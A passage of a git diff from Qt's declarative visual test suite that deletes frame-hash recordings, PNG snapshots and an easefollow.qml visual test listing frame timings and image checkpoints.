"ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3808 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3824 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3840 - image: "borders.3.png" - } - Frame { - msec: 3856 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3872 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3888 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3904 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3920 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3936 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3952 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3968 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 3984 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4000 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4016 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4032 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4048 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4064 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4080 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4096 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4112 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4128 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4144 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4160 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4176 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4192 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4208 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4224 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4240 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4256 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4272 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4288 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4304 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4320 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4336 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4352 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4368 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4384 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4400 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4416 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4432 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4448 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4464 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4480 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4496 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4512 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4528 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4544 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4560 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4576 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4592 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4608 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4624 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4640 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4656 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4672 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4688 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4704 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4720 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4736 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4752 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4768 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4784 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4800 - image: "borders.4.png" - } - Frame { - msec: 4816 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4832 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4848 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4864 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4880 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4896 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4912 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4928 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4944 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4960 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4976 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 4992 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5008 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5024 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5040 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5056 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5072 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5088 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5104 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5120 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5136 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5152 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5168 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5184 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5200 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5216 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5232 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5248 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5264 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5280 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5296 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5312 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5328 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5344 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5360 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5376 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5392 - hash: "ab9753116e289c932064144bb0845857" - } - Frame { - msec: 5408 - hash: "ab9753116e289c932064144bb0845857" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.0.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.0.png deleted file mode 100644 index 21b6afb..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.1.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.1.png deleted file mode 100644 index bb8a02b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.2.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.2.png deleted file mode 100644 index da60237..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.3.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.3.png deleted file mode 100644 index 3e943e8..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.4.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.4.png deleted file mode 100644 index 4fbaf26..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.5.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.5.png deleted file mode 100644 index c10d196..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.6.png b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.6.png deleted file mode 100644 index a672c06..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.qml deleted file mode 100644 index 029a2fc..0000000 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.qml +++ /dev/null @@ -1,1807 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "1f60efdb8704b92c9361daa468a25391" - } - Frame { - msec: 32 - hash: "3bb6a87617e0e5d4922e573eec975886" - } - Frame { - msec: 48 - hash: "268941737e6324d580890b151de621fb" - } - Frame { - msec: 64 - hash: "99c674eccc082d7f0982257a748d93e5" - } - Frame { - msec: 80 - hash: "2970467e8262c8a3f0b11be71245d048" - } - Frame { - msec: 96 - hash: "63cbd06d6bb035d27c18dba49238d8b2" - } - Frame { - msec: 112 - hash: "49f77bb3d323f882c0ec56e1f1040b3a" - } - Frame { - msec: 128 - hash: "40263c5f9b5d2236536163785f832b4d" - } - Frame { - msec: 144 - hash: "dc63b1c21a2027c4beb9c297a3677fbd" - } - Frame { - msec: 160 - hash: "4fab52ea29a819fec032f19dbcbef012" - } - Frame { - msec: 176 - hash: "60b48407a8f8ae2cce7d3e7c8b21991c" - } - Frame { - msec: 192 - hash: "6e542c681092a5ebeef0534fa2bd2d6c" - } - Frame { - msec: 208 - hash: "c7c6471969bbf81efdb86d1695548fc6" - } - Frame { - msec: 224 - hash: "b7f4ad9a49feb400894209c02b94478a" - } - Frame { - msec: 240 - hash: "3eb58b2f5233aead976183c13f241113" - } - Frame { - msec: 256 - hash: "54f2036c50c6d8079fc0cadc01385980" - } - Frame { - msec: 272 - hash: "f297659d75f6e724d72bd548821f4c9f" - } - Frame { - msec: 288 - hash: "112798f080336fc9c603a7e9097dd8aa" - } - Frame { - msec: 304 - hash: "c432e6ec2b53ca43cb7a7325d0cc379b" - } - Frame { - msec: 320 - hash: "4a6d3db3efd665ad7f372bf3f2508ed7" - } - Frame { - msec: 336 - hash: "0befa5dc4d2cc196fed0eb1a3aa75b8f" - } - Frame { - msec: 352 - hash: "a34d010b50d59c362b54e44d69c2df91" - } - Frame { - msec: 368 - hash: "cbdacced50186c87066ce1d46548b27e" - } - Frame { - msec: 384 - hash: "a4060010ae4d3c0973bda48d68f7bd0a" - } - Frame { - msec: 400 - hash: "47353437da587f732f986004c09884d0" - } - Frame { - msec: 416 - hash: "080c348145167bbec671a04da6f7564f" - } - Frame { - msec: 432 - hash: "69dead737c717a076ae3865680341fb4" - } - Frame { - msec: 448 - hash: "1efdc31c5c8fa72fc848877deb6caaa4" - } - Frame { - msec: 464 - hash: "28d7da1e933d0585d03acf4a529e7b42" - } - Frame { - msec: 480 - hash: "bf85534124bf025b7ede0d6c80b8e443" - } - Frame { - msec: 496 - hash: "cdbeb2d51541b1b1eff060efe993db91" - } - Frame { - msec: 512 - hash: "52ad56ae16c8ab523adda8edc512dd87" - } - Frame { - msec: 528 - hash: "61b1937f4c8dd2cb0ddd7031c5bfb3ab" - } - Frame { - msec: 544 - hash: "1b109baba71b16827f90da654af093a3" - } - Frame { - msec: 560 - hash: "d56621362802c8626868f36ba1e7db22" - } - Frame { - msec: 576 - hash: "ee5555ec3ad8760f43bbf5958a925936" - } - Frame { - msec: 592 - hash: "1ed2831144a453af1978605c0e42d17c" - } - Frame { - msec: 608 - hash: "c74d5cdb3395a702269dfa88c8c9d975" - } - Frame { - msec: 624 - hash: "ea98ddd9588cc23fd82a342ec2925ba8" - } - Frame { - msec: 640 - hash: "e76b94d6d57f1a510f7649eaab892562" - } - Frame { - msec: 656 - hash: "022f40b6fe9dbaf8019855234acb3461" - } - Frame { - msec: 672 - hash: "467da4f48aa6aeb113f0797facf157e8" - } - Frame { - msec: 688 - hash: "8df407aadd4d896eb6537e1555a0242f" - } - Frame { - msec: 704 - hash: "122e4671881e31f54e617729f4fbb3b0" - } - Frame { - msec: 720 - hash: "562718f101c3cd7525b890076413df5e" - } - Frame { - msec: 736 - hash: "07feae99ecf4b70eb094fd3e10deca56" - } - Frame { - msec: 752 - hash: "0980d133b1006cc07796023880415163" - } - Frame { - msec: 768 - hash: "7112b6ac97678b3b942c64c5108f0329" - } - Frame { - msec: 784 - hash: "bb9f893a9aaee60ab6c30918552828a4" - } - Frame { - msec: 800 - hash: "65d1f29437aaaea33676757276f1e434" - } - Frame { - msec: 816 - hash: "52adcf2509f3236ac8ef571708e77206" - } - Frame { - msec: 832 - hash: "22df5e7eda8a813531d0e0366cbfbf64" - } - Frame { - msec: 848 - hash: "fe9b7b7812dd2410b8ed2eb19aa78f4d" - } - Frame { - msec: 864 - hash: "141e22de4469f316b5ef5471f3c7bba0" - } - Frame { - msec: 880 - hash: "1125c0a105fc4a2cae36b798058ce23f" - } - Frame { - msec: 896 - hash: "8c17c5da2ae867fb0016a485ba9e4166" - } - Frame { - msec: 912 - hash: "d8da9fc7ec4dcefb894c5a6a71e9d001" - } - Frame { - msec: 928 - hash: "00ff642bea89fd89de394d78f8c5db33" - } - Frame { - msec: 944 - hash: "8549063d517a3ce1ffd44c56b3b6cf5e" - } - Frame { - msec: 960 - image: "easefollow.0.png" - } - Frame { - msec: 976 - hash: "95a642caa72bb31cc1e04ecc12d07cd0" - } - Frame { - msec: 992 - hash: "e65c823476bf920d0386f62ca831e6a0" - } - Frame { - msec: 1008 - hash: "91e8913dc693c91a674a10b5b088dd8f" - } - Frame { - msec: 1024 - hash: "1a469ffa0d530f72c78dc14783891c78" - } - Frame { - msec: 1040 - hash: "6e46a83d07f8bc034b421103ef0e4f8c" - } - Frame { - msec: 1056 - hash: "8ddacab411a8b73b6c9e69576fa1b003" - } - Frame { - msec: 1072 - hash: "41f419a85fe44efe27c9a526d83a1e9a" - } - Frame { - msec: 1088 - hash: "73d4ece31b258f9caf4556ce20a5be1f" - } - Frame { - msec: 1104 - hash: "ef3ebe0acb50386cf79b9f08fbba2fbc" - } - Frame { - msec: 1120 - hash: "c11a84d2fa80f28adb1466409812e987" - } - Frame { - msec: 1136 - hash: "2e9db854b02d28b38063ff2a8e821ed1" - } - Frame { - msec: 1152 - hash: "48e073c0e6b19aea8314629a2179af87" - } - Frame { - msec: 1168 - hash: "77e518b7428d93b67a8fb0d33d85ed97" - } - Frame { - msec: 1184 - hash: "1d18323af9c62e015513451883f8b39f" - } - Frame { - msec: 1200 - hash: "df49889ba157cdc1ca240d08d2760ad7" - } - Frame { - msec: 1216 - hash: "7b8cd2bcf0a4c38ab870f27894a43d2f" - } - Frame { - msec: 1232 - hash: "84f10e0c9fd57dd1799df7fc34c5ef01" - } - Frame { - msec: 1248 - hash: "ead4e609bc4a0755032b1648485b9625" - } - Frame { - msec: 1264 - hash: "9a9829c3bd4a3a4155383c37e21e8db8" - } - Frame { - msec: 1280 - hash: "5008917f60256abad867f32c1caf954d" - } - Frame { - msec: 1296 - hash: "c21455d66ed0754177af5ce44b7c7600" - } - Frame { - msec: 1312 - hash: "e8332f2586d80a2700b610e8fe5c72d9" - } - Frame { - msec: 1328 - hash: "0d0c8af138f98bae8a370ebec4a4796c" - } - Frame { - msec: 1344 - hash: "04065e8feeb900d18deeb941572f7f10" - } - Frame { - msec: 1360 - hash: "992a225b1f25bf5b21dd7f8a55dc4b70" - } - Frame { - msec: 1376 - hash: "8ef739d91ee2a4337cbfc3dc94ce9845" - } - Frame { - msec: 1392 - hash: "46744977a26b37ab65e65e1891ceafe7" - } - Frame { - msec: 1408 - hash: "1b4c0d79eeb8d6b2e30172f3664407b9" - } - Frame { - msec: 1424 - hash: "d572831ed34d14d1125570b8b8767bdb" - } - Frame { - msec: 1440 - hash: "8b785c756d11e0fc18959d0897a45673" - } - Frame { - msec: 1456 - hash: "164a71ffcea63ceb6c1ebeb8d0d07af1" - } - Frame { - msec: 1472 - hash: "e128dc12d5117eed9f7c0a16e8348ba2" - } - Frame { - msec: 1488 - hash: "4c7db5b12d83bf22b1c88ac06ca7c385" - } - Frame { - msec: 1504 - hash: "c7283df8dbd78121e17a5893e3ea4f3c" - } - Frame { - msec: 1520 - hash: "fea768e5bb43f6d86d88ced9f73915de" - } - Frame { - msec: 1536 - hash: "b99b54f8e75452c539bb4e7b6a36e944" - } - Frame { - msec: 1552 - hash: "b7274938d16f03b376ad9739e2e893f1" - } - Frame { - msec: 1568 - hash: "e61601942193add8c1c8ebf5c5319932" - } - Frame { - msec: 1584 - hash: "8fdc2181e0120391505706716ba7e5d7" - } - Frame { - msec: 1600 - hash: "66f737ed28453da5175d6b5e807c374d" - } - Frame { - msec: 1616 - hash: "2e00a7895d61edbe794f0a8000871b30" - } - Frame { - msec: 1632 - hash: "1a279fc6b7c4105eccc4e3bc99481bef" - } - Frame { - msec: 1648 - hash: "bc1dea4d23ca9bc29b72a8c2bde4787b" - } - Frame { - msec: 1664 - hash: "8ef40e0be5fb82b32b365b3d4b85421d" - } - Frame { - msec: 1680 - hash: "ee37c68bf38d5eed4e3e9a31306f6801" - } - Frame { - msec: 1696 - hash: "303d760c87a7a833606c8e9f46cb5fc0" - } - Frame { - msec: 1712 - hash: "cc2563b47c58efd39bec6b4e0f2995bb" - } - Frame { - msec: 1728 - hash: "33f7daf09497510475283d6dc7c51228" - } - Frame { - msec: 1744 - hash: "5b5e2de9934c80bd49e0eb7afd85151d" - } - Frame { - msec: 1760 - hash: "5e6bf706336789ca6b60a82998b70113" - } - Frame { - msec: 1776 - hash: "b4d4a860f49bfb88dd2079862b40b7ec" - } - Frame { - msec: 1792 - hash: "07b571fa55327487e34a592c778beb67" - } - Frame { - msec: 1808 - hash: "cb5b349a536cf75a83734181b3eab92b" - } - Frame { - msec: 1824 - hash: "ce903bb58c5c86f2955e68412893aedf" - } - Frame { - msec: 1840 - hash: "ffa89e879558c83ed538812a93e2fe29" - } - Frame { - msec: 1856 - hash: "562aa66bf537853be82a654542c8b80e" - } - Frame { - msec: 1872 - hash: "dc45dac0cc20220bcc81210fb5506ee2" - } - Frame { - msec: 1888 - hash: "3b429eb827df0800a1ad8b906ea32ef9" - } - Frame { - msec: 1904 - hash: "d6ebaf12515d9e24cdbf6d75080c0b28" - } - Frame { - msec: 1920 - image: "easefollow.1.png" - } - Frame { - msec: 1936 - hash: "9f6d26224055c809dc2f3490cd0ff880" - } - Frame { - msec: 1952 - hash: "5630cc8f0b401f7d81bdceaaae5cce68" - } - Frame { - msec: 1968 - hash: "dafda60467e5e2b99c41543dd191ac2d" - } - Frame { - msec: 1984 - hash: "e053cb07a734278cd111d612883c165e" - } - Frame { - msec: 2000 - hash: "63870f3e99c11707004dab9439d61389" - } - Frame { - msec: 2016 - hash: "14c311a6fab45f828c3a19535ea9edc8" - } - Frame { - msec: 2032 - hash: "13e614446cbfcbfd2a7ecc5f0e8688df" - } - Frame { - msec: 2048 - hash: "173c97f59da05b9347180a4824e60c06" - } - Frame { - msec: 2064 - hash: "932e2a9bbcb7dc5befca8f63d8fa3c95" - } - Frame { - msec: 2080 - hash: "4b8f232ffe0cbc7f900de5737c9f95be" - } - Frame { - msec: 2096 - hash: "9686d294d4e931a5eed0e6b5bda63377" - } - Frame { - msec: 2112 - hash: "969c569d92e3ec51dfbdd20d64432224" - } - Frame { - msec: 2128 - hash: "0cef3550cca9fb5611b836098c517dd1" - } - Frame { - msec: 2144 - hash: "6728080a09aa5d48462a3abb8e285e8a" - } - Frame { - msec: 2160 - hash: "4b904dc671b7fc72db0b6e52543e96bd" - } - Frame { - msec: 2176 - hash: "38232f89dffc9b16db6ea60b02f8d1be" - } - Frame { - msec: 2192 - hash: "6b41f2a0f950eddad217a03e137f9a9b" - } - Frame { - msec: 2208 - hash: "be576ea74c2c404da46fcf1d22de6df9" - } - Frame { - msec: 2224 - hash: "3f44bad4b51ceff2944337064a5efa91" - } - Frame { - msec: 2240 - hash: "e1ab98ac1366e9fd8af62a6a26878c73" - } - Frame { - msec: 2256 - hash: "bd131e1725a54b3dbbb86a29ca8a56a9" - } - Frame { - msec: 2272 - hash: "4d3e8af70f228643803f780c4e36f1a6" - } - Frame { - msec: 2288 - hash: "853a5ab4271af7a7638454cfa883aa33" - } - Frame { - msec: 2304 - hash: "ede9260157000f346900153ce2409278" - } - Frame { - msec: 2320 - hash: "b2b16d8ce1ba89f0d9558ac387e25c3d" - } - Frame { - msec: 2336 - hash: "387d338910453637c5cf80fa35528e56" - } - Frame { - msec: 2352 - hash: "26deabf9cdd994455f2a8802eb0e04dc" - } - Frame { - msec: 2368 - hash: "13939659a315dae1b81e3ea166102edf" - } - Frame { - msec: 2384 - hash: "be92b55bb7562372401b25a9167abb2b" - } - Frame { - msec: 2400 - hash: "ee7bf60d7ee97b7de5e909b9af88df80" - } - Frame { - msec: 2416 - hash: "434313a3bcd1d7582b0d89b9a145ef09" - } - Frame { - msec: 2432 - hash: "0857ca59a283897e3df62b9633488f83" - } - Frame { - msec: 2448 - hash: "76718fc7e3d21b54930bc8307a57733a" - } - Frame { - msec: 2464 - hash: "93a91588b38129053a462b920fd686e3" - } - Frame { - msec: 2480 - hash: "2a2486c52fde915696fd8cbd3682e8db" - } - Frame { - msec: 2496 - hash: "b1f4ab6cc5fb4a3a1b4885f2d1b29277" - } - Frame { - msec: 2512 - hash: "4258afce8a85a2e9ead149e34b43d8fc" - } - Frame { - msec: 2528 - hash: "6672c71b98e13d51ebb523aed9036a72" - } - Frame { - msec: 2544 - hash: "eaa39af7eb78948f433e3b44a9454317" - } - Frame { - msec: 2560 - hash: "0a766bc97bea67d4b848c703eaa6777a" - } - Frame { - msec: 2576 - hash: "0b461ec1885ede1dd96b71cf38bfd3d6" - } - Frame { - msec: 2592 - hash: "15efc929370a3864529080e30db1026a" - } - Frame { - msec: 2608 - hash: "e1529e30ff1e4ea1b092a88e85f2f1f6" - } - Frame { - msec: 2624 - hash: "f29bd9dbf7317e94b885da63f0cb7374" - } - Frame { - msec: 2640 - hash: "e5294e087e2ce0d7d936c0129b6c37ae" - } - Frame { - msec: 2656 - hash: "9c63129e774b391cc398cf5da5c9339c" - } - Frame { - msec: 2672 - hash: "4371d85854419d4b00671176bb7c5a2b" - } - Frame { - msec: 2688 - hash: "dd10b3f50e2fdc56c75f00321634b1cc" - } - Frame { - msec: 2704 - hash: "aac6256b21152a5f1f8c576b667d275e" - } - Frame { - msec: 2720 - hash: "c937c44037b2228590d334df4d56a86f" - } - Frame { - msec: 2736 - hash: "f6c714db51cbd1bdb737afe612c33f9c" - } - Frame { - msec: 2752 - hash: "0bba45af79f3201bc7cf042d5c648f73" - } - Frame { - msec: 2768 - hash: "941b08ddbafea3bd46262c060b1e290b" - } - Frame { - msec: 2784 - hash: "d898918dc2023de239b4ab38f7420960" - } - Frame { - msec: 2800 - hash: "d1a16dc2282329113093d06862e7a871" - } - Frame { - msec: 2816 - hash: "bba5359475f643fbeee240e71e843d4c" - } - Frame { - msec: 2832 - hash: "03cf861f4b6bc767e723e47e95c2448b" - } - Frame { - msec: 2848 - hash: "a64bf158c6199b88bc2db3b741d342f0" - } - Frame { - msec: 2864 - hash: "cf0fe7cb42ba842f1c28c1211adb768d" - } - Frame { - msec: 2880 - image: "easefollow.2.png" - } - Frame { - msec: 2896 - hash: "9b3c6414e4ef5a452a5c92bb0b893fc3" - } - Frame { - msec: 2912 - hash: "7cc7ddec3ac2d8cac33c0b0f80a7544d" - } - Frame { - msec: 2928 - hash: "7dd4e7d606e953c872c57fad786d64aa" - } - Frame { - msec: 2944 - hash: "117cc903a39d99ca22f6556095e6f883" - } - Frame { - msec: 2960 - hash: "c6c9304fd65fee1909473bdb21ac7806" - } - Frame { - msec: 2976 - hash: "8e704fe81c040f49c4d80e7dcc46084d" - } - Frame { - msec: 2992 - hash: "d202d5c0a058e1e088fdd280e59f17bb" - } - Frame { - msec: 3008 - hash: "90c072dea32c056f8bd6d010df681929" - } - Frame { - msec: 3024 - hash: "80b4e99f1b47e64084e295a2a3e1121e" - } - Frame { - msec: 3040 - hash: "41d6307075ec9ae9e92d227921f71289" - } - Frame { - msec: 3056 - hash: "f33de23cf4a5c4881310c6866261d387" - } - Frame { - msec: 3072 - hash: "441faa0a1fc95d66b27479dfc1e40188" - } - Frame { - msec: 3088 - hash: "2314b5f6ba3864abd5e87bc87bd621b0" - } - Frame { - msec: 3104 - hash: "e71e3b0ad953258ceef3101e38283fdb" - } - Frame { - msec: 3120 - hash: "890c3b0e727f136bf1ccc486531c9677" - } - Frame { - msec: 3136 - hash: "2a0d23e6dcc6475c323dbf8eb36e8094" - } - Frame { - msec: 3152 - hash: "692682e82347936f87a66484b428e959" - } - Frame { - msec: 3168 - hash: "cf4005c08789762ad21be1a1d78755c9" - } - Frame { - msec: 3184 - hash: "566184563091626bb20ae679e3ce3b91" - } - Frame { - msec: 3200 - hash: "f88a24ad3bbc2699924bb9a7ff6490b3" - } - Frame { - msec: 3216 - hash: "23f3f63d07b2bdc2b82ff4e8606a634d" - } - Frame { - msec: 3232 - hash: "fe121c71ce469ec6f0bf957eb2f0447b" - } - Frame { - msec: 3248 - hash: "ba217690a33c701afe11842aa8105cbb" - } - Frame { - msec: 3264 - hash: "e5c7c1323108f13ba26f5198cc62c137" - } - Frame { - msec: 3280 - hash: "664f76d3d0008b56be2790c470befc91" - } - Frame { - msec: 3296 - hash: "b3f54070ba64b983ccd2a15941ef4c35" - } - Frame { - msec: 3312 - hash: "8a0ba2ae36ad3811778f3a3bc55743f5" - } - Frame { - msec: 3328 - hash: "bfdc71733ca45a2ba2e8abf751554a62" - } - Frame { - msec: 3344 - hash: "686e4d7bb5ae148d37fc2a1f6004a33a" - } - Frame { - msec: 3360 - hash: "29c553d9fe42fdbbd019d0ead61dffa0" - } - Frame { - msec: 3376 - hash: "bfa2b72c6554a2ed80a3b86f2cbed986" - } - Frame { - msec: 3392 - hash: "074ff90417a947f0a04926d5675d073b" - } - Frame { - msec: 3408 - hash: "6f56f9e0aa40149156ca71d6f8d4476a" - } - Frame { - msec: 3424 - hash: "950ce749bbf572021de2dd1688cb87e6" - } - Frame { - msec: 3440 - hash: "2d0903bd71862dc6f28bd702d955ae99" - } - Frame { - msec: 3456 - hash: "2733adae56728f1b744a4086ecb98052" - } - Frame { - msec: 3472 - hash: "779859d739e799bba15beeb97d18e682" - } - Frame { - msec: 3488 - hash: "9074386cfabe136b8839637e5cd58f57" - } - Frame { - msec: 3504 - hash: "fa5bcbf20c6ad0a218f23d98961229a1" - } - Frame { - msec: 3520 - hash: "5406c94da1717eaa5eb0010564216059" - } - Frame { - msec: 3536 - hash: "27d0a3c3a33c04df843bebd72ef79824" - } - Frame { - msec: 3552 - hash: "270df9c99c2679071b854b3d82337f79" - } - Frame { - msec: 3568 - hash: "5b3945505443a67e7a91f66fe42b4fe3" - } - Frame { - msec: 3584 - hash: "9a2f8565c354cb366725368ed323ccf4" - } - Frame { - msec: 3600 - hash: "6702cb7ccd61c008b511932d7bd5d107" - } - Frame { - msec: 3616 - hash: "f6b86c3a1cc88357f588b6dae11aae30" - } - Frame { - msec: 3632 - hash: "b10c23937f420db72af8abaf126f71c2" - } - Frame { - msec: 3648 - hash: "7d6b0810ffc6e488c8168e19bccb7358" - } - Frame { - msec: 3664 - hash: "c01ef69ec46391909619434e9d9dd0ce" - } - Frame { - msec: 3680 - hash: "a046464fccb0c5ba1f63f8b569821a44" - } - Frame { - msec: 3696 - hash: "8763c526924d882438f9aa9bfb4fe87d" - } - Frame { - msec: 3712 - hash: "dede7a62d6e5c10e8f30caa075bd8dfd" - } - Frame { - msec: 3728 - hash: "3b408e5c986f5bb01d8c3949876b792f" - } - Frame { - msec: 3744 - hash: "0a458f3b17cdd3ea85522779c9346af9" - } - Frame { - msec: 3760 - hash: "fef521f0301cce90af88d37e6d441ec8" - } - Frame { - msec: 3776 - hash: "3d083e0822242b3b37c6839ca91a1f68" - } - Frame { - msec: 3792 - hash: "f8fe013a717e6e61830137bdc78a8b40" - } - Frame { - msec: 3808 - hash: "0ae80ad65dd194043500fa50b5a547a6" - } - Frame { - msec: 3824 - hash: "a53c67fa32ef971eaea202fa5d8a6ad6" - } - Frame { - msec: 3840 - image: "easefollow.3.png" - } - Frame { - msec: 3856 - hash: "41f86bbf0658b127f01e8d46d7ec941b" - } - Frame { 